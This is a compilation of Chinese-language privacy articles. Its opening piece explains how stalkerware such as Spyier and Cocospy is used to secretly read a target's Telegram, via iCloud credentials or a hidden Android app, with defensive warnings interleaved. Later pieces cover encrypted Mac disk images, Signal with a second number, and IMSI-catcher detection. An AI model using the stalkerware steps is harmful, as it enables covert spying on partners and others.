老实说有很多可行的解决方案可以通过各种应用程序和服务来入侵目标人的 Telegram。重要的是，其中大多数都包含陷阱，需要非常小

心。

例如，其中大多数应用程序会要求你将目标设备 Root 或越狱才能工作。如果您对 Root 或越狱有所了解，那么您也能知道为什么不应该这样做。

于是今天本文想要讨论的方法肯定不会有这些条件限制。

1.1 Spyier —— Telegram 创作者的噩梦

Spyier 是世界上最热门的手机监控解决方案之一，无数用户使用它来在 Android 和 iOS 设备上破解 Telegram 帐户。

您可以使用 **Spyier** 远程获取任何手机的数据，包括其隐藏的 **Telegram** 消息。**Spyier** 可以在不到五分钟的时间内入侵 **Telegram** 帐户。

而且，Telegram 并不是 Spyier 唯一可以破解的东西。

⚠ 使用 Spyier，攻击者还可以访问目标人在 Whatsapp、Facebook、Snapchat 和其他任何应用程序上的私密消息。

是什么使 Spyier 成为巧妙的 TelegramHack

Spyier 为攻击者提供了很多使用它的理由 —— 也是它的危险所在。其中一些包括：

▸无需 Root 或越狱

攻击者无需Root或越狱目标手机即可使用 Spyier。Root 或越狱会损害手机安全性，并且更容易被抓到黑客行为。因此，Spyier 在这方面对攻击者来说是一个很大的解脱。

▸ 无需安装应用

Spyier 不需要您在手机或PC上安装任何应用程序即可实现入侵。您可以从任何设备的网络浏览器中使用 Spyier，甚至无需安装任何插件。

「图」

「图」

▸无需技术知识

没有任何技术知识的人也可以使用 Spyier。它具有一个自动界面，可以自行配置。只需要在这里和那里单击几下即可。

1.2 如何在目标人不知情的情况下破解其 Telegram 账户

在入侵 iOS 设备（例如 iPhone）上的 Telegram 时，⚠甚至都不需要触摸目标手机。Spyier 可以在目标手机上未安装任何额外应用程序的情况下工作。

这是因为所有 iPhone 均已配备了 iCloud 功能。只要你登录了，iPhone 的所有数据都会自动同步到 iCloud 服务器。

攻击者只需要知道目标 iOS 设备的 iCloud 凭据，Spyier 就可以完成其余所有工作 —— 提取所有有价值的数据，包括 Telegram 消息。

「图」

「图」

当需要在 Android 手机上入侵 Telegram 时，情况有所不同。

要以任何方式破解 Android 手机，无论您选择 Spyier 还是其他同类的东西，都需要在目标手机上安装间谍应用程序。

不同的是，⚠Spyier 可以100%隐身。 Spyier 的 Android 应用旨在完全隐藏在其他人的视线之外。

首先，该应用程序小于2 Mb。因此，安装仅需几秒钟的时间。

安装该应用程序后，它的图标会立即从应用程序菜单中消失。只有入侵者可以使用密码在目标的手机上启动该应用程序。

这个间谍应用程序会在后台静默运行，几乎不消耗电力，也就是不会被察觉到。它也不会发送任何通知。因此，受害人可能完全不知道自己已经被入侵。

不要错过：

- 《如何识别手机上的恶意软件？》这里介绍的方法能识别普通的间谍软件，但可能无法识别高级攻击

而且，当间谍想要卸载该应用程序时，无需访问安装了该应用程序的目标手机。只需单击一下，即可通过 Spyier 的Web仪表板远程卸载该应用程序。

也就是说，整个入侵过程只需在第一次执行的时候物理接触一次目标手机，之后就无需再碰它了。

「图」

「图」

用 Spyier 破解 Telegram 的步骤

为了使用 Spyier 入侵目标人的 Telegram 帐户，只需以下三个简单步骤：

步骤1：注册 Spyier，并根据目标手机的操作系统（Android 或 iOS）选择支付费用的模式。

「图」

「图」

步骤2：a）如果目标手机是 iOS，则只需通过 Spyier 验证其 iCloud 凭据。 Spyier 将完成其余的工作。

⚠ 简单说，建议用户不要使用云，或者严格保密您的 iCloud 凭据 —— 使用强密码和与真实身份及兴趣爱好完全无关的账户名。

「图」

「图」

b）如果目标手机是 Android 系统，则必须通过设置向导中提到的链接在目标手机上下载并安装 Spyier 应用。它非常隐蔽，不会被发现。

⚠ 简单说，任何时候您都应该保证自己的手机在视野范围内，包括洗澡的时候、上厕所的时候、吃饭的时候、约炮的时候 …… 不要让任何人碰您的手机，哪怕只有几秒钟，不要。

步骤3：点击 “开始” 以开始监视目标人的 telegram 消息。

「图」

「图」

点按 “开始” 以进入仪表板，这里有所有功能。

这些功能作为专用选项卡在左侧出现 —— 您可以看看它们都是些什么，这些应用最好都不要使用，至少不要做为重要通信使用。

要使用 Spyier 的 Telegram 间谍功能，可以浏览到左侧的 “社交媒体应用”。在此部分下找到 Spyier 的 Telegram 间谍。

「图」

「图」

第2部分：如何在线破解 Telegram

在线入侵 Telegram 帐户的方法有多种，所有方法都类似。您无法真正破解 Telegram 应用程序本身，但是可以破解运行 Telegram 的手机。这将令攻击者获得所有内容，包括并不限于 **Telegram**。

⚠ 相比下 Spyier 是最危险的。如上所述，它足够隐秘、难以被发觉，入侵途径足够简单，甚至不需要具备技术能力的人也可以使用，最要命的是还足够便宜 —— 最低只需9.99美元即可包月。这意味着作为防御者，您的对手可能非常之多；它不是NSO那种价值几百万美元的间谍工具，那种东西是不可能大规模使用的。而 Spyier 这种，您必须足够小心！

还有几种其他方式可以入侵目标人的 Telegram。

2.1 通过 Spyic 远程入侵目标人的 Telegram 帐户

Spyic 是另一种流行的 Telegram 间谍工具，Android 和iOS 都适用。也是个很厉害的间谍软件。

「图」

「图」

就像 Spyier 一样，Spyic 不会要求 root 或越狱。此外，它还是一个Web应用程序，可通过攻击者选择的任何Web浏览器进行操作。

而且，Spyic 可能是你见过的最便宜的这类间谍软件了，其功能比 Spyier 一点不差。

第3部分：如何 “免费” 破解目标人的 Telegram 帐户

好吧，完全免费并不现实。你会发现，所有有效的手机黑客技术都是要付费的，无论是 Telegram 黑客应用还是其他任何一种。但是，价格因应用程序而异。

以下选择的是价格最低的，便宜到几乎免费的程度 —— 因此这样的东西可能最危险。当所有人都买得起的时候，您的对手是数不胜数的。

3.1 Cocospy —— 最常用的 Telegram 黑客

Cocospy 可能是世界上使用最广泛的 Telegram 骇客工具。全球有数百万的用户使用它来监视配偶和孩子的智能手机设备（还监视什么人？鬼知道）。

也许它已经存在于您身边了。小心。

关于功能，这里有一个免费演示可以了解。

最后

以上这些间谍软件可以在5分钟内入侵 telegram 数据，以及手机上其他私密通信数据。而且它们是如此地便宜，大多数人都买得起，并且没有任何技术知识的人也能使用。

总之，切勿小视您使用手机进行的任何通话，尤其是，小心您的手机本身！〇

原文

如何在 OS X 中创建加密磁盘映像以便安全储存敏感文件 - iyouport

护盾（AS）

【2020年5月27日存档】就像制作自己的加密文件容器一样。

正寻找在 Mac 上加密敏感数据文件夹的方法吗？

您可以使用 File Vault 加密整个硬盘，但这对大多数人来说可能是过大的选择。幸运的是，OS X 具有内置功能，可让您创建一个加密的磁盘映像。

打开磁盘映像的唯一方法是输入密码。您可以像普通文件一样复制磁盘映像，除非在Mac上解锁，否则它将不可读。

总体而言，这就像创建自己的加密文件容器一样。

创建加密的磁盘映像

要在Mac上创建磁盘映像（DMG），请首先创建一个包含所有要加密数据的文件夹。

请注意，创建了磁盘映像后，原始的未加密文件夹仍将保留在您的系统上，您应该立即将其删除。

- 《伪装＋擦除—— 在线隐身的重要步骤（少数派玩家）》

首先，请转到 “应用程序” 或单击右上角的 Spotlight 图标（放大镜）并键入 “磁盘工具”，然后打开 “磁盘工具”。

打开磁盘工具实用程序后，继续并单击顶部的 **File—New Image—Image from Folder**.

「图」

现在，选择您要加密为磁盘映像的文件夹。

点击 “打开”，您将打开 “另存为” 对话框，在其中您需要给新映像起一个名字，然后从几个选项中进行选择。

默认情况下，它将新磁盘映像保存在您要加密的同一文件夹中。在 “Encryption” 下，可以选择128位或256位AES加密。

加密等级越高，速度会随之下降，但您的数据将得到更好的保护。选择任何加密选项后，系统都会要求您输入密码。

确保输入一个非常长且很强的密码，因为这是保护数据的唯一安全措施。

如果政府间谍控制了您的文件，他们可以尝试使用暴力攻击来破解密码。包括字母、数字和符号在内的超过12个字符的任何密码都将花费很长时间才能破解，即使是在非常快的计算机或计算机集群上也是如此。

对于格式，您可以选择 “读取/写入磁盘映像”，以便可以随时读取和写入。

单击保存，将创建新映像。请注意，如果您选择256位AES加密，则创建磁盘映像可能需要花费一些时间。

「图」

现在，当您想要打开该文件时，会提示您输入密码。⚠注意，确保不要在 “我的钥匙串” 框中选中 “记住密码”。

如果您选择 “读/写” 作为 “格式”，则可以随时在加密的映像中添加或删除项目。当您向其中添加内容时，它将自动被加密和保护。

「图」

创建空白的加密映像

还值得注意的是，您不是必须要从文件夹中创建加密映像。您也可以打开“磁盘工具”，然后单击 **File—New Image—Blank Image**.

在这里，您将看到更多其他选择。首先，您可以指定磁盘映像的大小和文件系统格式。建议您坚持使用 OS X 扩展（日志式）以便支持所

有安全功能。

对于分区，可以从 “单个分区– GUID分区图” 或 “单个分区– Apple分区图” 中选择。所有其他设置与前面提到的相同。

总体而言，这是保护 Mac 上的数据免遭窥视的好方法，而无需安装任何第三方软件或在整个系统上启用 File Vault。您学会了吗？○

原文

如何在不必暴露真实电话号码的情况下使用 Signal - iyouport

护盾（AS）

【2018年10月31日存档】我们在以前的文章中曾经指出过关联电话号码这事不怎么靠谱，但是有些端对端通讯的确是这么设计的，其中 Signal 就是个典型。如果您必须使用它，又不希望您的私人电话号码曝光，方法还是有的，本文就说说这个怎么玩；还需要说说在 Signal 中如何防止中间人攻击；以及如何在语音视频通话中隐藏您的真实 IP 地址（因为它默认对方可见）

就在几年前，发送加密信息还是一项挑战。刚开始，你不得不花费数小时折腾那些充满行话的教程，或者有幸找到一个书呆子哥们儿来教你。在这个过程中幸存下来的少数人很快就遇到了第二个障碍：他们只能与那些已经成功完成相同环节的人使用加密通信。因此，即使有人最终设置了加密，如果他们想要联系的人并没有加密，也是白搭。

今天的情况要好得多了。有许多流行的应用程序非常简单易用，可以使加密像发送短信一样简单。其中 Signal 开源软件是很活跃的，记者、活动家和其他被当局盯着的人已经喜欢它很久了。你没必要学习绕嘴的技术名词，也不需要知道“公钥“是什么鬼，就能获得良好的安全性。

但 Signal 和很多其他同类应用一样，存在一个主要问题：您的帐户被与电话号码相关联。

虽然，这使得这些应用程序非常易于使用，还可以轻松发现其他使用该应用的朋友; 如果某人是您手机中的联系人并安装了该应用，您可以毫不费力地与之联系。

但是，这也意味着如果您希望人们能够安全地向您发送消息，就需要分发您的电话号码给对方。这使得与公众互动的人处于尴尬的境地：对方值得您公开私人电话号码吗？

本文将解释如何创建第二个可以安全注册的 Signal 电话号码，这样陌生人就可以轻松安全地与您联系，同时您的真实电话号码仍然是私密的。

为什么你不应该公开自己的电话号码？

电话号码很可能会被滥用。支持言论自由的活动家 Jillian York 在她的个人博客上写道：“作为一名女性，将我的电话号码发给陌生人会产生一种中等风险：如果他在半夜打电话给我怎么办？如果他通过短信骚扰我怎么办？如果我必须换号以远离他是有多麻烦“。

如果你是一个公众人物，特别是如果你是一名女性或少数族裔，你肯定熟悉那些性别歧视或种族主义的混蛋在 Twitter，Facebook 和文章评论部分对你大吼大叫甚至威胁。发布您的私人电话号码可能会使这个问题变得更糟。

电话号码还会引发在线帐户被攻击的危险。去年就有人通过接管私人电话号码来攻击种族司法活动家 DeRay Mckesson 的 Twitter 和电子邮件帐户。攻击者打电话给 Verizon 并冒充 Mckesson，要求将与他的电话号码相关联的 SIM 卡更改为被他们控制的新 SIM 卡，这样他们就可以窃听发送给他的短信。

如果攻击者控制了您的电话号码，就像他们控制 Mckesson 那样，他们也可以接管您的 Signal 帐户。如果有人对您的朋友这样做，您会在 Signal 中看到“安全号码已更改”的警告。如果你忽略了这个警告并发送信息，你实际上是正在给攻击者发短信。你可以验证安全号码以确认你的 Signal 应用程序正在加密消息给你朋友的手机，而不是攻击者的电话（其方法最后介绍）

如何获取第二个电话号码

当您第一次打开 Signal 应用程序并输入您的电话号码时，会发生以下情况：

- Signal 服务会向您的电话号码发送带有验证码的短信。如果您可以收到该消息或应用程序可以直接接收该消息，并且消息包含正确的代码，则会成功注册该帐户。
- 如果您无法收到验证消息，Signal 会尝试呼叫您的电话号码。当您接听时，机器人语音会告诉您验证码，您可以将其输入到应用程序中。

您的电话号码仅用于识别您的 Signal 帐户（基本上是您的用户名），并且您的电话公司无法访问有关 Signal 中发生的任何信息。

这意味着，只要您可以访问接听语音呼叫的电话号码（如固定电话或 VoIP 号码），您就可以将该电话号码与 Signal 配合使用。

第二个号码可以是：

- 你办公室的座机；
- 一个免费的 Google 语音电话号码，如果你住在美国的话；
- 来自任何在线呼叫服务的任何电话号码，如 Skype；
- 一个便宜的预付费 SIM 卡，每月只需几美元，并暂时将其放在手机上以注册 Signal。不知道中国还有没有不实名的黑卡卖，如果没有，这个方法不太适合中国用户；
- Twilio，一种云服务，允许开发人员编写可以拨打和接听电话和短信的软件。教程没有那么复杂，稍微给点耐心您就可以从 Twilio 购买每月1美元的电话号码以用于 Signal。

保持对此电话号码的控制非常重要。例如，您可以使用一次性 SMS 服务注册 Signal—如果您搜索一下就能发现有许多此类服务—但是，任何人都可以使用这些电话号码这是很危险的。同样，您应该避免使用公用电话号码或您不打算续费的 SIM 卡。如果其他人可以收到此电话号码的短信或电话就麻烦了。

如果您有其他获取永久电话号码的方法，请在评论中和大家交流。

设置 **Twilio**

对于追求廉价的辅助电话号码的人来说，Twilio 是一个很好的选择。访问 twilio.com。在顶部，点击“注册”。

填写您的详细信息，您将被要求验证您的电话号码。 将验证码打入 Twilio 以完成注册。

Twilio 通过订阅支付账单。要获得电话号码，需要支付少量月费来升级帐户。登录 Twilio 后，单击屏幕顶部的“升级”。

要保持您的电话号码有效，填写您的付款信息后，需至少添加 20 美元。

然后点击底部的“购买电话号码”。最后，将 Twilio 号码中的语音或短信转发到您的主要电话上，这样就可以在手机上接收验证消息了。

使用屏幕最左侧的菜单，导航到“所有产品和服务”」“Runtime”」“TwiML Bins”。

单击加号以创建新的“bin”，它将自动转发您的消息并呼叫主号码。用下面的代码段替换当前代码；需要将“您的电话号码”那个部分替换为您要用来接收转发信息的号码。可以参考下面那个动图。

对于短信：

对于语音：

起个名字，可以随便写，比如像动图这样：“my voice forwarding”。（动图：https://cdn-images-1.medium.com/max/1280/1*oWeCly3vyoOK7wM5HxPMEg.gif）

最后，要在手机上接收验证消息，需要激活语音和消息转发。导航到“所有产品和服务”」“电话号码”」“管理号码”」“活动号码”（或单击此处）。

单击您的 Twilio 电话号码。将“A call come in”字段从“Webbook”更改为 “TwiML”，并通过选择适当的 bin 名称（如 “my voice forwarding”）切换到自定义语音转发设置。对消息传递设置执行相同的操作。

还有一件事：在 **Twilio** 中静音

因为每条消息都需要花钱，在您设置了号码并注册 Signal 或其他应用程序之后，在 Twilio 帐户上选择静音是值得的。

要关闭来电和消息，请导航至“管理号码”」“有效号码”（或直接转到此处）。在此页面中，单击您的电话号码以更改设置。从“A call come in”和“A message come in”字段中删除 Web 地址。参考动图：https://cdn-images-1.medium.com/max/1280/1*Fx2VihsOCFAxBqSl_4uYlg.gif

就这样！如果您想接听电话和短信，可以随时重新开启。

为您的第二个 **Signal** 选择一个设备

为了使用第二个电话号码注册 Signal，您将需要一个专用设备—或者至少需要设备上的专用用户帐户。该设备不需要任何电话服务，甚至在技术上也不需要是电话。

如果您是 **Android** 用户，那么您很幸运。Android 在单个设备上支持多个用户帐户。每个用户帐户都有自己的一组应用和应用数据。您可以在设备上专门为第二个 Signal 创建帐户。

不要忘记为新用户设置屏幕锁定！—否则，即使主用户帐户被锁定，对您的手机具有物理访问权限的任何人都可以轻松访问第二个用户的 Signal 消息！

要在手机上切换用户，请向下滚动，然后点按用户图标。

如果您是 **iPhone** 用户，并且您已经将 Signal 与您的私人电话号码一起使用了，那么设置您的公共 Signal 帐户会有点复杂。不幸的是，没有办法在同一部 iPhone 上设置两个独立的 Signal 电话号码。

最简单的方法是找到一个单独的 iOS 或 Android 设备。此设备不需要电话服务或 SIM 卡。它可能是您不再使用的旧 iPhone 或 Android 手机，或 iPad，iPod Touch 或 Android 平板电脑。

您也可以选择仅使用 Signal Desktop，这包括从 iPhone 中删除您的私人 Signal 帐户，设置公共帐户和 Signal Desktop，然后恢复私人帐户，这将向您的联系人发出安全号码已更改的警告。

还可以使用你的计算机注册第二个 Signal 号码，但这需要一些技术基础。您可以使用名为 signal-cli 的命令行工具向 Signal 服务注册您的电话号码，或者您可以在虚拟机中安装 android-x86 并将其用作 Signal 的虚拟 Android 设备。

注册新号码

您已经选择了第二个电话号码和一个设备，现在可以将其注册到 Signal。我在下面的照片中使用了 Android 设备，但 iOS 中的过程是类似的。

在您的第二个 Signal 设备（或 Android 手机的第二个用户）上，首次打开 Signal 应用程序。输入您用作公共 Signal 号码的电话号码（不要输入您的私人电话号码！）

然后，Signal 服务将发送短信到此电话号码。但是由于此设备实际上并未与此电话号码相关联，因此发送失败。至少在 Android 上，你必须等整整两分钟才能失败。（如果您使用的是 iOS 并且能够通过短信接收验证码，例如在 Google 语音应用中，请将代码输入）

现在短信验证失败了，您可以选择进行语音验证。确保您能够接听。如果这是固定电话，请立正，站在电话旁边; 如果这是 Google 语音号码，请确保您已在浏览器标签中打开了 Google 语音，或正确配置了 Google 语音等。

如果一切顺利，您的新电话号码将在 Signal 服务中注册成功。

就是这样！此设备现在可以接收第二个 Signal 的消息。您可以通过此电话号码告诉所有可以与您联系的人，并且短信将最终转到此设备。

使用安全号验证加密是否受到攻击

中间人攻击是针对双方的—例如小红和小明—他们认为自己是在和对方说话，然而事实上两个人正在与同一个攻击者说话，攻击者正在连接这两个人，沿途监视着一切。为了保护您的通信安全，您必须采取额外的步骤以验证您是直接加密给您的朋友而不是冒充者。

您和您的每个 Signal 联系人共享一个唯一的“安全号码”。例如，小红和小明之间有一个安全号码，但小红与小白之间有着不同的安全号码。当小红将她在手机上看到的安全号码与小明看到的号码进行比较时，如果号码相同，则表示加密是安全的。如果数字不同，那就错了：也许小红在她和攻击者之间看到了一个安全号码，或者小明看到他和攻击者之间的安全号码，这就是他们不匹配的原因。

因为第一次向联系人发送消息时，任何人都不太可能试图攻击您的加密，因此 Signal 会自动信任它让每个联系人看到的第一个安全号码。（如果你希望讨论任何敏感话题的话，你可能还是需要确认一下）。

要验证加密是否安全，请先导航到验证屏幕：

- 打开 Signal 应用程序并点按对话以打开它。
- 点击屏幕顶部的联系人姓名。
- 点按“验证安全号码”。

左：*iPhone*。右：*Android*

亲自验证联系人

如果您能亲自见面，其中一个人只需要扫描对方的二维码即可。Android 用户点击 QR 码圈进行扫描，iPhone 用户点击底部的“扫描码”相机图标进行扫描。将相机对准朋友的二维码进行扫描，如果成功，则说明加密是安全的。

远程验证联系人

多数时候无法见面，但您仍然可以验证您的安全号码是否匹配—只是这个有点累。

您需要使用某些其他安全的通信渠道共享您在联系人中看到的安全号码—也就是说，不要在 Signal 消息中共享它。

一旦您的联系人获得您的安全号码，他们就需要导航到验证屏幕并逐位比较您发送的内容与他们看到的内容。如果匹配，您的对话就是安全的。

对于 Android 和 iPhone，您可以点击验证屏幕右上角的共享图标，以使用其他应用分享您的安全号码，或将其复制到剪贴板中。

有时，您可能会在 Signal 对话中看到“安全号码已更改”的警告。点按即可验证。“ 这只能代表出现了以下两种情况之一：

- 您的联系人切换到了 Signal 的更新，也可能是因为他们购买了新手机，或者，
- 攻击者正在尝试将自己插入到您的 Signal 对话中。

完全排除后者的可能性的唯一方法是再次通过上述验证过程之一。

隐藏 **IP** 地址

当您在 Signal 拨打语音或视频电话时，您呼叫的对方可以查看您的 IP 地址，这可用于了解您的位置。但它无疑是个隐私暴露。

这里有一项功能允许您通过其服务器中继您的呼叫，以便呼叫另一端的人只能看到 Signal 服务器的 IP 地址，而不是您的真实 IP 地址。如果启用它，连接速度会稍微下降，会降低通话质量。但是更安全。以下是如何启用它：

如果您使用的是 Android：

- 打开 Signal 应用程序，点击右上角的菜单图标，然后选择“设置”。
- 转到“高级”，然后启用“始终中继呼叫”。

如果你在 iPhone 上：

- 打开 Signal 应用程序，然后单击左上角的齿轮图标以进入 Signal 的设置。
- 转到隐私，然后启用“始终中继呼叫”。

好啦就是这么简单。你知道的，我们更支持 Tox/Cryptoact/Jitsi 等，但是 Signal 显然更大众，希望这篇文章能帮到您。

原文

如何应付政府使用黄貂鱼对公民进行的大规模间谍行为？ - iyouport

护盾（AS）

【2018年11月1日存档】拦路扫描是相比下很笨拙的监视手段。明明有很多可以让当权者轻松监视所有人的技术工具，他们为什么不用？更有可能的是，他们一直都在使用，只是我们不知道。

日前网络传出消息称中国北京出现了警方在街头随机扫描路人手机的审查监视行为。我们没能具体核实该消息，包括它出现在哪些地区、扫描是否有针对性、以及该扫描技术本身的用意是什么。但此前新疆地区曾发生过同样的事件描述，据称针对移动设备上安装的反审查软件。

不管怎样这种强行扫描的做法是非常笨拙的，因为显然有很多其他技术能够让当权者在公民完全不知情的情况下实现间谍式监视，IMSI 捕手就是。

IMSI 捕手（俗称黄貂鱼）这种秘密手机监控技术的使用近几年来已经变得非常常见，很多国家的政府和情报机构都在使用这种技术监视他们的公民：英国警方前段时间一直在因使用 IMSI 捕手被民间权利组织挑战；美国两年前就被曝花费了上亿美元购买 IMSI 捕手，警方和情报部门利用这种技术在没有法庭手令的情况下进行大规模监视；加拿大警方公开将 IMSI 捕手描述为“重要工具”；2015 年伊朗将黄貂鱼送给了穆加贝，此后津巴布韦一直在使用它监视社会……

美国使用黄貂鱼的最新报告，以及公民社会的反抗《How the cops are tracking you》

另参见以下报告：

- **Associated Press: US suspects cellphone spying devices in DC, Frank Bajak, 2018.04.04**: https://apnews.com/

d716aac4ad744b4cae3c6b13dce12d7e/APNewsBreak:-US-suspects-cellphone-spying-devices-in-DC

- **NPR: Feds Say They've Detected Apparent Rogue Spy Devices In D.C., Merrit Kennedy, 2018.04.04**: https://www.npr.org/sections/thetwo-way/2018/04/04/599428495/feds-say-theyve-detected-apparent-rogue-spy-devices-in-d-c
- **Washington Post: DHS has detected possible cellphone surveillance in D.C.—and doesn't know who's doing it, Matt Zapotosky, 2018.04.03**: https://www.washingtonpost.com/world/national-security/dhs-says-it-has-detected-possible-cellphone-surveillance-in-dc–and-doesnt-know-whos-doing-it/2018/04/03/f69fbe36-3785-11e8-acd5-35eac230e514_story.html
- **BBC: Mystery Stingray devices discovered in Washington, 2018.04.04**: http://www.bbc.com/news/technology-43639709
- **MuckRock: Rochester police release unredacted list of Harris Corp StingRay and KingFish products, Curtis Waltman, 2016.12.02**: https://www.muckrock.com/news/archives/2016/dec/07/rochester-police-release-unredacted-list-harris-co/
- **Electronic Frontier Foundation: One Pager on Cell Site Simulators**, https://www.eff.org/document/eff-one-pager-cell-site-simulators
- **New York Times: New York Police are Using Covert Cellphone Trackers, Civil Liberties Group Says, Joseph Goldstein, 2016.02.11**: https://www.nytimes.com/2016/02/12/nyregion/new-york-police-dept-cellphone-tracking-stingrays.html
- **American Civil Liberties Union: Stingray tracking devices: who's got them? Updated March 2018**: https://www.aclu.org/issues/privacy-technology/surveillance-technologies/stingray-tracking-devices-whos-got-them
- **DHS Letter Cover**: https://www.documentcloud.org/documents/4429966-DHS-response-to-Wyden-3-26-18.html
- **DHS Letter Attachment**: https://www.documentcloud.org/documents/4430049-DHS-attachment-in-response-to-Wyden-3-26-18.html

我们在此前的一份详细报告中介绍过 IMSI 捕手《浮空器、生物识

别、射频、无人机 ……唐宁街聚集大规模监视行业，其关键技术中国几乎全有》。2016 的欧洲黑帽会议上，研究人员公开展示了这种通过 WiFi 操作的 IMSI 捕捉器攻击方式，允许攻击者在一秒钟内捕获智能手机的 IMSI 号码，然后利用该 IMSI 号码来跟踪监视移动设备用户。

一些比较知名的 IMSI 捕手是 Harris 公司的 StingRay，KingFish，和 Hailstorm，以及波音/数字接收器技术公司的 DRTbox。这些假基站通常放置在车辆中，甚至装载到有人驾驶和无人驾驶飞机上。

上述这份报告同时介绍了很多监视技术工具，所有素材均来自一次展示会：英国政府汇集了数百家监视技术公司，展示他们的全方位监视能力，从天空到地下到街头几乎无所不包，并且我们专注于其中每一项技术在中国的使用情况。结果发现，中国几乎全部拥有，并找到了准确报道证实其已被布设，唯独黄貂鱼—— 中国没有公开声称使用这种技术，然而它是如此的简单和具有普遍性，你能想象中国不会用吗？

IMSI 全称“ international mobile subscriber identity ”（国际移动用户识别码）是区别移动用户的标志，储存在 SIM 卡中，可用于区别移动用户的有效信息。不要将 IMSI 号码与 IMEI 号码混淆，IMSI 直接绑定到用户，而 IMEI 绑定到设备。

Wi-Fi 网络可以捕获附近智能手机的 IMSI 号码，无线跟踪并监控用户的根源在于智能手机（包括 Android 和 iOS 设备）连接 Wi-Fi 网络的方式。

在大多数现代移动操作系统中有两种广泛实现的协议：可扩展认证协议（EAP）、认证和密钥协商（AKA）协议。这些协议允许智能手机通过自身设备的 IMSI 号码切换登录到已知的 Wi-Fi 网络，实现 WiFi 网络自动连接而无需所有者交互。攻击者可利用 WiFi 认证协议的这种机制伪装成 WiFi 网络，诱骗智能手机连接、捕获 IMSI 号码，从而实现对用户的跟踪监视。

此外攻击者还可利用捕获的 IMSI 号码实现移动运营商提供的 WiFi 呼叫功能。智能手机 WiFi 呼叫功能允许用户通过使用加密的 IPSec 协议连接运营商的边缘分组数据网关（EPDG）。在这个过程中用于验证 WiFi 呼叫的互联网密钥交换（IKEv2）协议也是基于 IMSI 号码，这可导致发生中间人（**MITM**）攻击，允许攻击者拦截通信流量。

是的，听起来很可怕，尤其是在考虑到对技术不熟悉的人占据绝大多

数的情况下。如今恶性局面已经到来，我们除了普及应对技术之外别无他法。我们当然应该去追求技术的简单易用，让安全惠及大众，但有些时候，最大的难度在于如何有效地提醒大众对安全的重视。

在安全的角度看来，IMSI 捕手之所以邪恶是因为其侵犯完全在不知不觉中，而不是像中国当局所采取的拦路扫描那么直观。对于后者，大多数时候你能想到办法躲开，因为眼睛就能给你一个预警。但是在中国社会的习惯性思维角度上看，显然是拦路扫描更“有效”，正因为它将震慑直观化了。震慑才是根本性目的，在充满恐惧的社会里这种方法非常有效。

理论上中国当局的做法明显“帮助”了提升中国社会对安全问题的重视。只要能重视起来，简单的学习就可以掌握基本的反监视能力。但是现实层面上我们不得不考虑中国社会普遍的畏惧心理，它才是最大的障碍。Snowden 说：“权利的争取来自于战斗，除非你先站起来，否则赢不了”。希望中国社会能理解这句话的意思，顺服将让你永远都无法获得自由。

说多了。下面首先介绍一个相对简单的方法，以应付黄貂鱼。

这东西叫 **SnoopSnitch**。

SnoopSnitch 是一个 Android 应用，它会收集和分析移动基站数据，让你可以充分意识到移动网络的安全性，并给你提供一些伪基站、用户跟踪和 OTA 更新的警告信息。你可以使用来自 GSMMAP.org 上收集的 GSM 安全地图数据，同时也可以给该网站贡献数据。

SnoopSnitch 项目由德国安全研究人员三人组成，即 Alex Senier，Karsten Nohl 和来自 SRLabs 的 Tobias Engel 。它在 Android 平台上推出。点击此处从 Google Play 商店下载 SnoopSnitch 应用。

> *“SnoopSnitch collects and analyzes mobile radio data to make you aware of your mobile network security and to warn you about threats like fake base stations (IMSI catchers), user tracking and over-the-air updates.”*

目前，SnoopSnitch 仅与配备 Qualcomm 芯片组和现有 Android ROM 或具有 Qualcomm DIAG 驱动程序的任何适当自定义 ROM 的 Android 手机兼容。收集移动网络数据需要 **root** 权限。

虽然此应用程序无法保护您的手机不被黄貂鱼咬住，但它至少可以通知并提醒您特定区域内是否存在监控系统。

在下面视频中观看 SnoopSnitch 的演示；并在这里看到更多详细介绍：

反监视方案不止这一种。有几种闭源硬件解决方案都可用，但有点贵，幸运的是还存在免费和开源的软件和硬件解决方案。

另一个旨在检测 IMSI 捕获器的开源软件项目是 **AIMSICD**（Android IMSI 捕手检测器）。

AIMSICD 自 2012 年以来一直处于开发阶段，它仍然是实验性软件，并且仍处于 alpha 开发阶段。用户应该有心理准备它可能会出现一些误报和虚假警报。该应用程序无法从 Google Play 商店获得，但可以从 GitHub，F-Droid 和 Aptoide 下载。

AIMSIC 尝试通过各种不同的方法检测和避免 IMSI 捕获器，包括检查塔信息的一致性，监控信号强度，检测 FemtoCells 以及静默 SMS。该应用程序还可以帮助用户避免使用不良加密或根本不使用加密的合法蜂窝基站。应用程序使用六种颜色编码的图标来显示当前的威胁级别。

- 当 AIMSICD 显示绿色图标时，表示未检测到任何威胁，并且正在使用 A5/3 加密或更高；
- 正在显示黄色图标时表示中等威胁级别，警告使用的是较不安全的加密；
- 高威胁级别由橙色图标表示，这意味着 IMSI 捕获器正在主动跟踪该区域内所有用户；
- 红色图标提醒用户威胁级别是危险，表示已经检测到 IMSI 捕获器正在主动跟踪您的设备；
- 该应用程序还有一个黑色图标具有骷髅头，意味着您的设备正在被远程操纵。

AIMSICD 从 OpenCellID 收集蜂窝塔的位置信息，然而，OpenCellID 项目正在关闭，当前的维护者在寻找其他人来维护它。似乎 AIMSICD 尚未发布更新，更新应该能实现用于蜂窝塔位置信息的另一项服务。

AIMSICD 需要一个 **root** 的 **Android** 设备才能正常运行。

StingWatch 是 Android 的另一款旨在检测 IMSI 捕手的应用程序，并

且不需要 **root** 设备。与 AIMSICD 一样，StingWatch 也是一款免费的开源软件解决方案，用于检测 StingRay 等设备，但与 AIMSICD 不同，StingWatch 可在 Google Play 商店中获得。

还有一个解决方案是由网络安全先驱 John McAfee 开发的专有应用程序 DVasive Pro，该应用程序不是免费的。DVasive Pro 包括“Stingray Shield”，允许用户锁定他们的手机无线电发射器和接收器。

华盛顿大学安全研究人员开发 了一种名为 SeaGlass 的新系统，也是用来检测威胁的。去年 SeaGlass 传感器被安装在西雅图和密尔沃基的15辆汽车中，结果研究人员发现了数十种异常情况。这种东西很适合装在汽车里，理想情况是那种长时间行驶穿越城市大街小巷的汽车，它会随时汇总数据并构成基线图。*SeaGlass sensors are made with off-the-shelf parts that are packed into a box and installed in a vehicle's trunk, with antennas placed on or near windows*

用户自己可以采取的保护蜂窝通信私密性的另一个步骤是使用 Signal 和 Tox 等加密通信应用，并使用安全的 VPN 或 Tor 加密其蜂窝互联网流量。虽然 IMSI 捕手仍将拦截数据包，但数据将被加密了，防止攻击者获取对通信内容的访问权限。

